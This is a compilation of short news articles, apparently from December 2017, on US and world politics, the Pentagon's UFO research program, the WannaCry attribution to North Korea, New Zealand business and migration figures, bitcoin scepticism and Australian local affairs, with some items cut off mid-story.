5 Hawaii politics: State Attorney General Douglas Chin, who has been fighting President Trumps travel ban and other policies over the past year, announced Monday that he will run for U.S. Congress. Chin, a Democrat, seeks to replace Rep. Colleen Hanabusa, who is running for governor. Hanabusa is also a Democrat. Before Trump was sworn in, Chin and five other attorneys general asked the Senate Judiciary Committee to reject the nomination of Sen. Jeff Sessions for attorney general. The prosecutors said they had grave concern about whether Sessions would diligently and fairly enforce all laws protective of civil rights, public safety, health and welfare. Chin told the Associated Press that he first considered running for office while listening to a Sessions speech that he regarded as so troubling that it really woke me up in terms of the actions I think all of us need to take responsibility for in order to make a difference.

Chronicle News Services
PARIS  A total of 65 journalists and media workers were killed in 2017, the lowest toll in 14 years, according to figures released on Tuesday by Reporters Without Borders.

The nongovernmental organization said 60 percent of those killed were murdered. It added that 326 people working in media  including 202 professional journalists  are also being detained.

According to the organization, 26 people were killed in the course of their work, the collateral victims of a deadly situation such as an air strike, an artillery bombardment, or a suicide bombing.

It said the remaining 39 were murdered, and deliberately targeted because their reporting threatened political, economic, or criminal interests.

Overall, the group said the decrease in deaths is due to journalists fleeing countries such as Syria, Yemen and Libya that have become too dangerous. But it also noted a growing awareness of the need to protect journalists.

The organization stressed that some countries which are not at war have become as dangerous for reporters as war zones, with 46 percent of deaths occurring in such places in 2017, as against 30 percent the previous year.

Syria was the deadliest country for journalists, with 12 killed, one more than in Mexico where many journalists have either fled abroad or abandoned journalism.

The overall downward trend did not apply to women, as 10 female reporters were killed this year, double the previous years total.

Behind Syria and Mexico, the deadliest countries for reporters were Afghanistan, where nine journalists were killed in 2017, and Iraq where eight perished. With four journalists gunned down, the Philippines was Asias deadliest country.

Samuel Petrequin is an Associated Press writer.
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A British pop star has sparked a debate around whether UGG boots are sleepwear.

Joanne Catherall, a vocalist from the band the Human League, shared on Twitter on Dec. 13 that she was denied entry to the Qantas Airlines business-class lounge at the Melbourne Airport because she was wearing the Australian sheepskin-lined boots.

"UGG (Australia) Boots are deemed sleepwear by the lady working there although no problem in any of the other lounges so far," Catherall tweeted. "Helpfully she suggested I go to one of the shops & purchase some shoes."

Qantas responded on Twitter with the statement: "Hi Joanne, we endeavour to remain consistent and uphold our Lounge's dress guidelines to all our guests. You may find details here: http://bit.ly/1TKrgMP."

Qantas specifically calls out UGG boots and identifies them as sleepwear in the domestic lounge dress guidelines that also deem thongs, bare feet, head-to-toe gym wear, and torn clothing inappropriate.

Catherall posted a followup tweet questioning the guidelines: "Why would an @UGG boot I wear outdoors in all weathers be classed as sleepwear in @Qantas lounge but nowhere else that I have ever been on this earth?"

RELATED GALLERY: Comparing airlines' luggage size requirements

In the comments, many defended Catherall and criticized Qantas for enforcing a dress code.

"Why does it even matter to Qantas what people wear?" tweeted @isaaclibby. "Hilarious that somehow Uggs are sleepwear. What a joke company. Will avoid."

"I'm sorry but @Qantas this is pure snobbery," chimed in @bettycarlyle. "I always wear Ugg boots to travel in as they r so comfy & ive never not been allowed in a Lounge in America, Europe or the UK."

"Oh my goodness when would [you] go [to] bed in a pair of Ugg boots???" tweeted Michelle Teale.

UGG Boots have been around in Australia since the 1960s and were adopted by surfers in the United States in the 1970s. Today, many love them because they're warm and comfortable, but some also find the boots unattractive and overly casual.

A commenter shared in response to a Fox News story covering the issue, "Good - [UGGs] are like flip-flops, fine for the beach or coming out of a shower but in public, uh no (ok, flip flops are fine for 8 year old girls or 3 year old boys) but after that, get some real shoes."
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A rapper has been sentenced to 13 years in state prison for the fatal shooting of an unarmed Berkeley man outside of a nightclub in the heart of downtown Oakland three years ago.

At his trial in July, prosecutor Jimmie Wilson asked jurors to convict 33-year-old Billy Shaffer Jr., of Antioch, a convicted felon who has performed under the names Billy Bankroll and Wild Bill, of first-degree murder for the fatal shooting of 27-year-old Connie Sowels III of Berkeley outside the Bella Ultra Lounge at 11th and Clay streets at 1:18 a.m. on Oct. 1, 2014.

But jurors found Shaffer not guilty of first-degree murder, second-degree murder and voluntary manslaughter and only convicted him of the lesser charge of involuntary manslaughter charge.

In their July 25 verdict, they also convicted Shaffer of personally using a firearm and being an ex-felon in possession of a firearm.

Alameda County Superior Court Judge Allan Hymer sentenced Shaffer on Friday.

Wilson alleged in his closing argument in the trial, which was packed with family members of friends of both Sowels and Shaffer that Shaffer was the aggressor in a fight outside the nightclub.

Wilson said the fight began when Shaffer snatched a gold chain from Sowels' neck and said Shaffer shot and killed Sowels when Sowels, who wasn't armed, fought and tried to get the chain back.

But Katherine Isa, one of two defense attorneys who represented Shaffer, alleged that Sowels started the fight when the two men quarreled over a woman Shaffer was leaving the nightclub with.

Isa said Shaffer acted in self-defense while he was prone on the ground while Sowels was straddling him and beating him up.

Isa told jurors Shaffer "reasonably believed he was in imminent danger of suffering great bodily injury or being killed."

Referring to Shaffer's 2010 conviction for possessing a gun he was not registered to own in Sacramento County, the defense attorney said, "Even an ex-felon with a gun has the right to defend himself when the elements of mutual combat are met, as they were in this case."

Sowels was taken to Highland Hospital in Oakland after he was shot but was pronounced dead a short time later.

Shaffer was arrested 12 days after the shooting after police pulled him over for traffic violations.

Wilson said it might not have been wise for Sowels to try to get his gold chain back from Shaffer given the fact that Shaffer was armed with a gun but he told jurors, "You can't blame the victim for deciding to get his property back."
WASHINGTON - In the $600 billion annual Defense Department budgets, the $22 million spent on the Advanced Aerospace Threat Identification Program was almost impossible to find.

Which was how the Pentagon wanted it.

For years, the program investigated reports of unidentified flying objects, according to Defense Department officials, interviews with program participants and records obtained by The New York Times. It was run by a military intelligence official, Luis Elizondo, on the fifth floor of the Pentagon's C Ring, deep within the building's maze.

The Defense Department has never before acknowledged the existence of the program. But its backers say that, while the Pentagon ended funding for the effort at that time, the program remains in existence. For the past five years, they say, officials with the program have continued to investigate episodes brought to them by service members, while also carrying out their other Defense Department duties.

'Convinced' aliens exist

The shadowy program - parts of it remain classified - began in 2007, and initially it was largely funded at the request of Harry Reid, the Nevada Democrat who was the Senate majority leader at the time and who has long had an interest in space phenomena. Most of the money went to an aerospace research company run by a billionaire entrepreneur and longtime friend of Reid's, Robert Bigelow, who is working with NASA to produce expandable craft for humans to use in space.

On CBS' "60 Minutes" in May, Bigelow said he was "absolutely convinced" that aliens exist and that UFOs have visited Earth.

Working with Bigelow's Las Vegas-based company, the program produced documents that describe sightings of aircraft that seemed to move at very high velocities with no visible signs of propulsion, or that hovered with no apparent means of lift.

Officials with the program have also studied videos of encounters between unknown objects and U.S. military aircraft - including one released in August of a whitish oval object, about the size of a commercial plane, chased by two Navy F/A-18F fighter jets from the aircraft carrier Nimitz off the coast of San Diego in 2004.

Reid, who retired from Congress this year, said he was proud of the program. "I'm not embarrassed or ashamed or sorry I got this thing going," Reid said in a recent interview in Nevada. "I think it's one of the good things I did in my congressional service. I've done something that no one has done before."

Two other former senators and top members of a defense spending subcommittee - Ted Stevens, R-Alaska, and Daniel Inouye, D-Hawaii - also supported the program. Stevens died in 2010, and Inouye in 2012.

While not addressing the merits of the program, Sara Seager, an astrophysicist at the Massachusetts Institute of Technology, cautioned that not knowing the origin of an object does not mean that it is from another planet or galaxy.

"When people claim to observe truly unusual phenomena, sometimes it's worth investigating seriously," she said. But, she added, "what people sometimes don't get about science is that we often have phenomena that remain unexplained."

Program ended in 2012

James Oberg, a former NASA space shuttle engineer and the author of 10 books on space flight who often debunks UFO sightings, was also doubtful.

"There are plenty of prosaic events and human perceptual traits that can account for these stories," Oberg said. "Lots of people are active in the air and don't want others to know about it. They are happy to lurk unrecognized in the noise, or even to stir it up as camouflage."

Still, Oberg said he welcomed research. "There could well be a pearl there," he said.

In response to questions from The Times, Pentagon officials this month acknowledged the existence of the program, which began as part of the Defense Intelligence Agency. Officials insisted that the effort had ended after five years, in 2012.

"It was determined that there were other, higher priority issues that merited funding, and it was in the best interest of the DoD to make a change," a Pentagon spokesman, Thomas Crosson, said in an email, referring to the Department of Defense.

But Elizondo said the only thing that had ended was the effort's government funding, which dried up in 2012. From then on, Elizondo said in an interview, he worked with officials from the Navy and the CIA. He continued to work out of his Pentagon office until this past October, when he resigned to protest what he characterized as excessive secrecy and internal opposition.

"Why aren't we spending more time and effort on this issue?" Elizondo wrote in a resignation letter to Defense Secretary Jim Mattis.

Elizondo said that the effort continued and that he had a successor, whom he declined to name.

UFOs have been repeatedly investigated over the decades in the United States, including by the military. In 1947, the Air Force began a series of studies that investigated more than 12,000 claimed UFO sightings before it was officially ended in 1969. The project, which included a study code-named Project Blue Book, started in 1952, concluded that most sightings involved stars, clouds, conventional aircraft or spy planes, although 701 remained unexplained.

Senators were involved

Robert C. Seamans Jr., the secretary of the Air Force at the time, said in a memorandum announcing the end of Project Blue Book that it "no longer can be justified either on the ground of national security or in the interest of science."

Reid said his interest in UFOs came from Bigelow. In 2007, Reid said in the interview, Bigelow told him that an official with the Defense Intelligence Agency had approached him wanting to visit Bigelow's ranch in Utah, where he conducted research.

Reid said he met with agency officials shortly after his meeting with Bigelow and learned that they wanted to start a research program on UFOs. Reid then summoned Stevens and Inouye to a secure room in the Capitol.

"I had talked to John Glenn a number of years before," Reid said, referring to the astronaut and former senator from Ohio, who died in 2016. Glenn, Reid said, had told him he thought that the federal government should be looking seriously into UFOs, and should be talking to military service members, particularly pilots, who had reported seeing aircraft they could not identify or explain.

The sightings were not often reported up the military's chain of command, Reid said, because service members were afraid they would be laughed at or stigmatized.

$22 million for research

None of the three senators wanted a public debate on the Senate floor about the funding for the program, Reid said. "This was so-called black money," he said. "Stevens knows about it, Inouye knows about it. But that was it, and that's how we wanted it." Reid was referring to the Pentagon budget for classified programs.

Contracts obtained by The Times show a congressional appropriation of just under $22 million beginning in late 2008 through 2011. The money was used for management of the program, research and assessments of the threat posed by the objects.

The funding went to Bigelow's company, Bigelow Aerospace, which hired subcontractors and solicited research for the program.

Under Bigelow's direction, the company modified buildings in Las Vegas for the storage of metal alloys and other materials that Elizondo and program contractors said had been recovered from unidentified aerial phenomena. Researchers also studied people who said they had experienced physical effects from encounters with the objects and examined them for any physiological changes. In addition, researchers spoke to military service members who had reported sightings of strange aircraft.

"We're sort of in the position of what would happen if you gave Leonardo da Vinci a garage-door opener," said Harold E. Puthoff, an engineer who has conducted research on extrasensory perception for the CIA and later worked as a contractor for the program. "First of all, he'd try to figure out what is this plastic stuff. He wouldn't know anything about the electromagnetic signals involved or its function."

Need for more attention

The program collected video and audio recordings of reported UFO incidents, including footage from a Navy F/A-18 Super Hornet showing an aircraft surrounded by some kind of glowing aura traveling at high speed and rotating as it moves. The Navy pilots can be heard trying to understand what they are seeing. "There's a whole fleet of them," one exclaims. Defense officials declined to release the location and date of the incident.

"Internationally, we are the most backward country in the world on this issue," Bigelow said in an interview. "Our scientists are scared of being ostracized, and our media is scared of the stigma. China and Russia are much more open and work on this with huge organizations within their countries. Smaller countries like Belgium, France, England and South American countries like Chile are more open, too. They are proactive and willing to discuss this topic, rather than being held back by a juvenile taboo."

By 2009, Reid decided that the program had made such extraordinary discoveries that he argued for heightened security to protect it. "Much progress has been made with the identification of several highly sensitive, unconventional aerospace-related findings," Reid said in a letter to William Lynn, a deputy defense secretary at the time, requesting that it be designated a "restricted special access program" limited to a few listed officials.

Elizondo, in his resignation letter of Oct. 4, said there was a need for more serious attention to "the many accounts from the Navy and other services of unusual aerial systems interfering with military weapon platforms and displaying beyond-next-generation capabilities." He expressed his frustration with the limitations placed on the program, telling Mattis that "there remains a vital need to ascertain capability and intent of these phenomena for the benefit of the armed forces and the nation."

For his part, Reid said he did not know where the objects had come from. "If anyone says they have the answers now, they're fooling themselves," he said.

But, he said, "we have to start someplace."
Texas Rangers pitcher Cole Hamels has the true holiday spirit. He and his wife, Heidi Hamels, have just donated their $10 million Missouri mansion to a local nonprofit, Camp Barnabas.

The massive Table Rock Lake property in Branson West, MO, is the largest gift the charity has ever received.

The couple had initially placed their 10-bedroom home on the market in August for $9.75 million. The 32,000-square-foot space had an unfinished interior, but the guest quarters and carriage house on the property were move-in ready.

Cole Hamels' lakefront mansion in Missouri realtor.com

The property comes with 100 acres. realtor.com

The property includes 105 acres and more than 1,700 feet of shoreline access to Table Rock Lake, as well as a private dock. Features include a pool, outdoor kitchen, elevator, and childrens outdoor play area.

Heidi is from the Ozarks, and the couple began work on the home when Cole was a member of the Philadelphia Phillies. After the pitcher was traded to the Texas Rangers in 2015, the duo moved to the Dallas area and decided to put the Missouri mansion on the market.

But rather than sell it, the couple then decided to give the home away. Its now in the hands of Camp Barnabas, a "unique ministry providing Christian camping experiences to people with special needs and chronic illnesses, along with their siblings," according to its website.

Outdoor play area realtor.com

Private dock realtor.com

Over the past 24 years, Camp Barnabas has helped more than 75,000 campers and missionaries. Seeing the faces, hearing the laughter, reading the stories of the kids they serve; there is truly nothing like it, says Cole in a press release from the Hamels Foundation. [Camp] Barnabas makes dreams come true, and we felt called to help them in a big way.

This is so much more than a beautiful property, said Krystal Simon, chief development officer for Camp Barnabas, in a statement. This incredible gift allows us to further our ministry and truly change thousands of lives for years to come.

Jason Brawner, CEO of Camp Barnabas, also issued a press release: Our mission is to change lives through disability ministry, and weve been strategically looking for ways to expand our ministry outside of a summer camp. We have no doubt that this gift will allow us to do just that.

The home is located near Dogwood Canyon Nature Park, and there are endless opportunities for hiking, fishing, and general fun.

Cole began his MLB career in 2006 with the Philadelphia Phillies, and won the World Series MVP award after helping lead the team to the title in 2008. The Hamels also have a foundation that supports education programs in the U.S. and Africa.

The post An Amazing Gift! Cole Hamels Donates $10M Mansion to Charity appeared first on Real Estate News & Insights | realtor.com.
BUCHAREST, Romania  Soft toys on the beds and posters on the walls. No more than three children to a room. One of the girls living in the four-bedroom house gushes about getting makeup for her birthday.

In this group home on a leafy street in Bucharest, Romanias orphanage nightmares seem far away.

The horror stories emerged quickly after the 1989 toppling of Communist dictator Nicolae Ceausescu: shocking accounts of thousands of children beaten, starved and humiliated in overcrowded, underfunded state-run orphanages.

Flash forward to today. The number of children in Romanias orphanages has plummeted from more than 100,000 to about 7,000, with a goal of closing all the old-style facilities by 2023. Legions of children have been reunited with their families, placed in foster homes or relocated to cheerful family-style houses run by well-trained staff like the one in Bucharests 6th District.

Across the globe, intensive efforts are underway to get children out of orphanages. Bulgaria and the former Soviet republics of Georgia and Moldova have made strides. China says its now able to provide care for three-quarters of its orphans and abandoned children via foster homes or adoption. Rwanda is set to soon become the first African country to eliminate orphanages.

Its a goal that remains elusive in many other countries  in India, where privately run, poorly regulated orphanages abound, and in Nepal and Haiti, where unscrupulous orphanage operators sometimes pay parents to relinquish their children and then profit from donations from sympathetic foreigners.

But aid groups working to phase out orphanages believe momentum is on their side.

We are almost at the brink of achieving a global movement  putting orphanages back into history books, said Dr. Delia Pop, the Romanian director of global advocacy with Britain-based Hope and Homes for Children, which has worked to dismantle orphanages in 30 countries.

Theres no precise global tally of children living in orphanages. UNICEFs latest estimate is 2.7 million, but the agency says many countries dont accurately count children in privately run orphanages.

Whatever the type of facility, 80 to 90 percent of the children in them have at least one living parent, according to UNICEF.

Most often its poverty driving these families apart, said Shannon Senefeld of Catholic Relief Services. Parents believe ... their child will be given a better way of life if they live in an orphanage.

Yet research suggests orphanage life often harms a child in lasting ways. Even well-run institutions generally lack the affectionate care that maximizes a childs potential, while many expose children to abuse and exploitation.

Some notable examples of orphanage reform:

Eastern Europe: Once the region with the highest rate of placing children in orphanages, Eastern Europe is now the epicenter of the movement to empty them. In Moldova, Europes poorest country, the orphanage population has dropped from 11,000 to 2,000 since 2011. A similar effort in Georgia has reduced the number of state-run orphanages from 50 to two, now accommodating about 75 children rather than 5,000 in 2005, UNICEF says. Bulgarias state-run orphanages has dropped from about 7,500 in 2010 to less than 1,200 today.

Asia: In China, orphanages mostly house children abandoned by their families because of serious medical issues. Families faced with high medical costs  as well as rules that long restricted couples to one, and now two, children  sometimes feel they have no choice but to abandon such children, particularly if they live in poor rural areas. China is now promoting the care of such children in family settings. By late last year, there were 460,000 orphans and abandoned children in China  about 373,000 cared for through foster care or adoption, and 88,000 in orphanages, according to official statistics.

Africa: In Africa, where child-welfare services are sparse and millions of children live in poverty, Rwandas ambition to eliminate orphanages stands out. The National Commission for Children says 3,323 children were in orphanages when the program began in 2012, and all but about 235 have been reunited with relatives or placed with adoptive or foster families. The government has also deployed social workers to help smooth childrens transition to post-orphanage life.

Alison Mutler, Gillian Wong and David Crary are Associated Press writers.
1 Human rights: The U.N.s human rights chief says Chinas Communist Party has taken a hostile position on the universality of human rights and that the rhetoric from the White House is heading in the same direction. High Commissioner for Human Rights Zeid Raad al-Hussein also told French Catholic daily La Croix in an interview published Monday that Europe faces a crisis of identity and integration policy. Zeid said hes worried about the tendency of authorities in Europe to overreact after terrorist attacks.

2 Romania protest: Hundreds of judges and prosecutors protested around Romania on Monday over planned modifications to the legal system they say will hamper prosecutions. In a joint statement, prosecutors in Constanta said the proposals dont just hamper the anti-corruption fight, but (also) the fight against all crime. Among the proposed changes are a move to ban public statements about investigations and trials. Another would allow suspects to be present when witnesses are giving testimony. Thousands of Romanians have protested the proposals, saying they will make it harder to punish high-level corruption.
RIYADH, Saudi Arabia  The Saudi-led coalition fighting Yemens Shiite rebels said it intercepted a missile fired over southern Riyadh on Tuesday, which the rebels said was targeting a top leadership meeting at the royal palace in the kingdoms capital, Riyadh.

It was the second time in as many months that a rebel projectile had reached as far inside the kingdom as Riyadh.

The Yemeni rebels, known as the Houthis, said they launched a ballistic missile to target Yamama Palace in Riyadh, where King Salman chairs weekly government meetings and receives dignitaries and heads of state from around the world.

The coalition statement, carried by Saudi state TV, said the missile was fired by the Houthis. State TV said no damage was caused by the intercepted missile. The coalition later said the missile launch proved the continued involvement of Iran in supporting the Houthis. It also repeated its claim that the rebels use relief work outlets to smuggle such missiles inside Yemen to target the kingdom.

In a televised address, rebel leader Abdul-Malik al-Houthi said the range of missiles in the Houthi arsenal was being extended.

Our long hand will reach other places, God willing, he said.

As long as you continue to target Sanaa, we will strike Riyadh and Abu Dhabi, he said, referring to the seat of government of the United Arab Emirates, a key member of the coalition. Earlier this month, the Houthis claimed they fired a missile at an under-construction nuclear plant in the Emirates. The UAE denied the claim.

The U.S. ambassador to the United Nations, Nikki Haley, last week displayed what she said was undeniable evidence that Iran was supplying the Houthis with missiles. The U.S. has backed the Saudi-led coalition in its war in Yemen.

Iran rejected the allegations and has repeatedly denied arming the rebels. The Houthis say their missiles are produced in Yemen, which is awash with weapons.

On Nov. 4, the Houthis targeted Saudi Arabias international airport in Riyadh, and Saudi Air Defense said it was intercepted. However, a New York Times analysis of photos and videos from the attack suggested air defenses may have missed the projectile and that the warhead struck near its intended target.

The Saudi-led coalition has been at war with the Houthis since March 2015. The Houthis, who are allied with Saudi Arabias rival, Iran, have forced into exile the Saudi-backed and internationally recognized government of President Abed Rabu Mansour Hadi.

Yemens war has killed more than 10,000 civilians and driven millions to the brink of famine.

Abdullah al-Shihri and Aya Batrawy are Associated Press writers.
WASHINGTON  President Trumps administration on Tuesday publicly blamed North Korea for a careless and reckless ransomware attack that infected hundreds of thousands of computers worldwide in May and crippled parts of Britains National Health Service.

Homeland security adviser Tom Bossert told reporters at a White House briefing that North Korea was directly responsible for the WannaCry ransomware attack and that Pyongyang will be held accountable for it.

This was a careless and reckless attack. It affected individuals, industry, governments and the consequences were beyond economic. The computers affected badly in the United Kingdom in their health care system put lives at risk, not just money, Bossert said.

Bossert said the administrations finding of responsibility is based on evidence and confirmed by other private companies and foreign governments, including the United Kingdom, Australia, Canada, New Zealand and Japan. He said Microsoft traced the attack to cyber affiliates of the North Korean government.

The findings come as the U.S. has sought to pressure Kim Jong Uns government to end the pariah nations nuclear and missile programs.

North Korea has acted especially badly, largely unchecked, for more than a decade ... its malicious behavior is growing more egregious. And stopping that malicious behavior starts with this step of accountability, he said.

Bossert said the Trump administration would continue to push Pyongyang to curb its ability to mount attacks and seek to partner with the private sector to prevent future attacks.

But he said Trump has used just about every lever you can use short of starving the North Korean people to death to change their behavior. So we dont have a lot of room left here to apply pressure to change their behavior. Its nevertheless important to call them out, let them know its them and we know its them.

Bossert said attributing the attack to North Korea would let them know were going to move to stop their behavior and work with tech partners such as Microsoft and Facebook. This is allowing us to call upon all like-minded and good, responsible companies to stop supporting North Korean hackers whether theyre operating in North Korea or elsewhere, Bossert said.

The WannaCry attack struck more than 150 nations in May, locking up digital documents, databases and other files and demanding a ransom for their release.

It battered Britains National Health Service, where the cyberattack froze computers at hospitals across the country, closing emergency rooms and bringing medical treatment to a halt. Government offices in Russia, Spain, and several other countries were disrupted, as were Asian universities, Germanys national railway and global companies such as automakers Nissan and Renault.

Ken Thomas is an Associated Press writer.
Former NZX chief executive Tim Bennett has joined the board of life insurer Partners Group Holdings, replacing former chair Sam Knowles.

The appointment was effective yesterday and comes a month after the life insurer tapped Datacom director Julie Fahey to the board. Partners Life's board is rounded out by chair John Minto, the former Tower Australia chief executive rather than the high profile New Zealand activist, founders Naomi Ballantyne and Richard Coon, professional director Joanna Perry, Maui Capital head Paul Chrystall, Waterman Capital partner Lance Jenkins and Blackstone nominee Kishore Moorjani.

"Tim Bennetts unique skills and experiences across many industries and markets will be invaluable as we drive Partners Life onwards on its journey to become the most valuable and valued life and health insurer in the New Zealand market," Minto said in a statement. "Sam Knowles has made a great contribution, especially as chair of Partners Life, leaving the company in a strong state. We really appreciate his contribution."

Bennett left NZX at the end of the last year, having replaced Mark Weldon in 2012. Under his watch, there was a spike in listings, driven in part by the previous government's partial privatisation programme, and an expansion of derivative products and the stock market operator's funds management business.

Last year, Partners Group Holdings, the immediate parent of Partners Life, entered into a $200 million investment with US private equity firm Blackstone.

The insurer was launched in 2011 by Ballantyne, who was made an Officer of the New Zealand Order of Merit in the 2016 New Year Honours. Partners Life is the third life insurer she's helped establish, having been one of the initial employees of Sovereign, now owned by AIA Group, and ClubLife, now owned by ANZ Bank New Zealand as OnePath Life.

(BusinessDesk)

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New Zealand annual net migration was unchanged in November from a year earlier, as fewer New Zealanders left while net foreign migration decreased.

Annual net migration was at 70,400 in the year to November, the same as November 2016, Statistics New Zealand said. The figures show a net 71,700 non-citizens arrived in the year, down from 72,300 a year earlier, while a net 1,300 New Zealanders left, from 1,900 a year earlier.

New Zealand has been experiencing record levels of net migration in recent years, which made rising immigration a key election issue as it strains the country's infrastructure and is blamed for inflating property markets. Net migration peaked at 72,400 in the July year, and the latest figures continue the recent trend of reducing annual net migration levels, Stats NZ said.

"The slowing of annual net migration was driven by record non-New Zealand citizen migrant departures," population statistics senior manager Peter Dolan said. "There were 27,800 in the November 2017 year, compared with 22,900 in the November 2016 year." More non-citizen migrants arrived in the latest year, at 99,500 from 95,100 a year earlier.

Chinese migration continued to be the largest on a net basis, with 9,500 of the 70,400 net arrivals coming from China, though that was down 7.9 percent on a year earlier. India was the second-largest source at a net 6,800, though Indian net migration was down 25 percent from a year earlier, with a 17 percent drop in annual student visas granted to Indian citizens.

Net arrivals from Australia plummeted to 20 people in the latest year, from 1,800 a year earlier. US net migration jumped 50 percent to 2,000 in the year, while UK net migration rose 20 percent to 6,500.

China continued to be the biggest source of migrants on residence visas, though that dipped 7 percent to 3,100 in the year, while the total number of residence visas dropped 4.7 percent to 15,700.

There was a 12 percent increase in work visas granted in the year, to 46,200, while student visa numbers dropped 2.5 percent to 24,000.

Short-term visitor arrivals, which include tourists, people visiting family and friends and people travelling for work, reached 3.7 million in the November year, up 8 percent from a year earlier and a new annual record, Stats NZ said. The number of people coming to New Zealand on holiday rose 8.6 percent on an annual basis to 1.9 million people.

New Zealand residents took 2.8 million overseas trips in the year, up 10 percent from the previous year, with the biggest increases from people going to French Polynesia, Japan, and Spain. There was also a large jump in New Zealand-resident travellers not stating where they were going, up 63 percent in the latest year to 125,000 people.

The most popular destination was still Australia, with 1.2 million New Zealand residents travelling there in the year, up 4.8 percent annually.

(BusinessDesk)

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Japanese-listed Itoham Yonekyu Holdings has received Overseas Investment Office approval to increase its shareholding of Anzco Foods to 100 percent, from the 65 percent it already owned.

Anzco was New Zealand's second-largest meat company and fifth-largest exporter in 2016, with turnover of $1.5 billion and 3,000 employees. It was already 83.3 percent overseas owned, with 16.8 percent of the company held by Japanese marine products company Nippon Suisan Kaisha, known as Nissui, and the remaining 18.2 percent owned by the company's chair Graeme Harrison and management. Harrison will step down at the company's next annual meeting in March, having signalled his plans for retirement in 2015.

Itoham Yonekyu has said it won't make any significant changes to Anzco's business operations in the foreseeable future, Anzco said. Itoham, a listed company, is 39 percent owned by Mitsubishi Corp.

Anzco is part of two primary growth partnerships, the $58 million FoodPlus red meat project and the Red Meat Profit Partnership. The new government has said the future funding of the PGP programme, which is funded by government and industry, is under review.

The company said the buyout was "a strong vote of confidence in the New Zealand meat sector" and is an important part of Itoham Yonekyu's plan to grow its business internationally, especially in Asian markets outside Japan. Anzco will be able to "capitalise on synergy benefits and efficiencies from the considerable experience and networks of Itoham Yonekyu and Mitsubishi Corp", it said.

(BusinessDesk)

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Two Canberra brothers faced court on Tuesday accused of involvement in their cousin's drug trafficking and attempting to conceal evidence.

Builders Youssef Jabal and Adam Ahmad Jabal are the cousins of Bilal Badr-Eddeen Omari, who worked at the Australian National University.

Adam Jabal (far left) and Youssef Jabal (far right) leave the ACT Magistrates Court on Tuesday with their lawyer Kamy Saeedi.

Police allege Mr Omari has been dealing in cocaine.

Documents tendered to court say that on December 5, police searched Mr Omari's ANU office.
A government proposal to allow international carbon credit trading has buoyed the Australian manufacturing industry, but may have little impact on cutting energy sector emissions.

The manufacturing, smelting and energy sectors - some of the highest carbon-emitting industries in Australia - could look overseas to buy carbon credits to reduce their comparative emission levels without investing in higher-priced domestic carbon credits or lower-emissions technology under a proposal in the Turnbull government's latest climate change policy review.

The Australian Industry Group has thrown its weight behind the proposal, saying it is a major advance for industrial emissions reductions policy.

"Ai Group has been arguing the merits of allowing international credits for several years," its chief executive, Innes Willox, said.
Bitcoin.com is one of the worlds largest bitcoin sites, having grown its profile this year thanks to the remarkable price surge of the cryptocurrency. But its cofounder and CTO, Emil Oldenburg, a Swedish native, is extremely sceptical when it comes to bitcoins future.

I would say an investment in bitcoin is right now the riskiest investment you can make. Theres an extremely high risk, he says in an interview with Swedish tech site Breakit.

Although Oldenburg is far from the first to criticise the cryptocurrencys viability as an investment asset, his position as an industry insider does stand out  even as he migrates to its spin-off, bitcoin cash (BCH).

I have in fact sold all my bitcoins recently and switched to bitcoin cash, he says, referring to the currency that split from bitcoin in August and recently overtook Ethereum as the worlds second-largest cryptocurrency. Bitcoin Cash has also gained the strong support of Oldenburgs co-founder, Roger Ver.
Bitcoin has no fundamental value and is likely to end in tears once speculators discover how hard it can be to extricate their cash, Singapore's financial watchdog has warned.

Sopnendu Mohanty, fintech chief for Singapore's monetary authority (MAS), said there was a crucial difference between Bitcoin and rival cryptocurrency Ethereum, but it was far from clear whether either improved day-to-day transactions or had much potential as a tool for central banking.

"Bitcoin has no natural intrinsic value. Can you buy a house with it? Can you use it for daily interactions? It may be valued at $US18,000 ($23,477) right now but what I want to know is how you convert it into fiat currency and realise that value. The risk comes at the moment of conversion," he told London's The Daily Telegraph.

The lapidary verdict on the Bitcoin craze carries some weight. Singapore's city-state is the leading fintech hub in Asia. The MAS is currently carrying out the most far-reaching research into blockchain and distributed ledger technology by any central bank or monetary authority in the world.
The Federal Court of Australia has awarded media company The Pokemon Company International $1 in nominal damages in a copyright infringement case against retail site Redbubble.

Pokemon sued the online store, known for customised clothes and phone cases, in 2016 over the use of Pokemon and one of its main characters, Pikachu, on products such as clothing available through its site.

Pikachu is one of the most recognisable characters from Pokemon. Credit:AFR

A hearing was held in Melbourne for a week in September.

The Federal Court found in favour of Pokemon on Tuesday. It did not award injunctions but did award nominal damages of $1.
Imagine this: You live in a capital city, you and your partner both work and your children attend the local primary school.

It's a struggle to juggle two careers, paying for the roof over your head and being around for your kids, but it's made easier by the fact that your school has two well-regarded after-school-care services, one run by a small business founded by parents and the other by the local council.

After-school care demand will continue to grow because of more women working and the rising population. Credit:Shutterstock

Then just before the end of the school year, a few weeks before Christmas, you receive an email informing you that the after-school-care service your family uses will close down at the start of 2018 for entirely bureaucratic reasons.

The other service will expand to pick up some of the demand but not by enough, and it will give priority to its own waiting list. Stranded families won't find out if they have a spot until well into the new year.
My advice from Vet Affairs is that no heart conditions are compensable through Commonwealth Workers' Compensation Legislation. All service personnel injured while not on war service were covered by this legislation prior to 1972 and VEA have now taken over the administration of any claims still unresolved, but heart conditions still don't count. John Trinder, Queanbeyan Cash devalued At a recent Senate Estimates hearing concerning her role as Employment Minister, Senator Michaelia Cash acknowledged that she had written to the Registered Organisations Commissioner only once, namely to "request" ROC to investigate AWU donations to GetUp! and Bill Shorten's election campaign in 2006 and 2007 respectively.

Apparently, Senator Cash first became interested in these particular donations after the AWU had refused to comply with a request from a News Corp journalist to voluntarily hand over relevant documents. A leaked AFP internal document reported in July 2017 that due to under-resourcing the AFP had transferred, or cancelled, 23operations. From a law enforcement perspective what was so reprehensible about these political donations that would justify the allocation of up to 32 officers from the AFP and ROC to execute search warrants on the AWU's Melbourne and Sydney offices? Media reports have suggested that the AWU may not have fully complied with requirements under the FWRO Act to lodge reports with ROC about these political donations. Failure by the union to comply with such reporting requirements would constitute civil (not criminal) penalty infringements that carry a maximum penalty of $2200.

Given the age and apparent triviality of any contraventions by the AWU of its reporting requirements under the FWRO Act, it would seem that Senator Cash was primarily motivated by partisan political purposes when she instigated the allocation of scarce law enforcement resources for search warrants against theAWU. If so, she should not be appointed as Australia's first law officer. Bruce Taggart, Aranda Be wary of republic Reports the Australian Republic Movement is to announce the establishment of a high-level advisory panel including a number of politicians and big businessmen comes as no surprise because the campaign for "an Australian head of state" has always been about politicians and big business controlling the top job.

